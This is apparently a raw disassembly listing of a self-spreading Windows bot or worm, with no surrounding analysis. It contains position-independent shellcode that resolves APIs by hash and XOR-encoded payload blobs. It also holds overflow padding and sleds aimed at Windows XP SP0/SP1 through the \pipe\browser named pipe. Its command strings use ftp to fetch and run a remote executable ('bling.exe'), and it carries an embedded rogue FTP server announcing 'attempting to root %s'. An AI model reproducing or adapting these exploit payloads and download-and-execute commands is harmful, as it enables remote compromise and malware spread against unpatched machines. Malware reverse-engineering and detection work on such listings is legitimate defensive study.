unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: _0:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------

loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------

loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi

loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------

loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------

loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: _0:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------

loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------

loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A

loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995

loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; _2:0042FA1Co
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h

loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: _2:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: _0:004042E4o
					; sub_404E54+92o ...
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40494F+2B0o
; ---------------------------------------------------------------------------

loc_428A5C:				; CODE XREF: _2:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_428AA3:				; CODE XREF: _2:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_428AC8:				; CODE XREF: _2:00428AF5j
		xor	[esi-25h], bl

loc_428ACB:				; CODE XREF: _2:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_428AE4:				; CODE XREF: _2:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_428B02:				; CODE XREF: _2:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]

loc_428B25:				; CODE XREF: _2:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx

loc_428B3A:				; CODE XREF: _2:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_428B8E:				; CODE XREF: _2:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: sub_40494F+297o
dword_428BBC	dd 42Ah			; DATA XREF: sub_40494F+24Ar
dword_428BC0	dd 3E8h			; DATA XREF: sub_40494F+2BBr
dword_428BC4	dd 258h			; DATA XREF: sub_40494F+28Dr
byte_428BC8	db 0			; DATA XREF: sub_40494F+1F6r
					; sub_40494F+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r
					; sub_40494F+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: _2:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_428C14:				; CODE XREF: _2:00428B98j
		push	eax
		xor	al, 29h

loc_428C17:				; DATA XREF: sub_40494F+21Eo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40494F+14Eo
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40494F+F2o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40494F+81o
		align 4
a_:					; DATA XREF: sub_40494F+10o
					; sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: _0:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: _2:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4

loc_429E74:				; DATA XREF: _0:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_429E92:				; CODE XREF: _2:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_429EE9:				; CODE XREF: _2:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_429EFC:				; CODE XREF: _2:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:_5
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_429F4D:				; CODE XREF: _2:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_429F59:				; CODE XREF: _2:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb

loc_429F67:				; CODE XREF: _2:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: _0:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; _2:0042F834o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
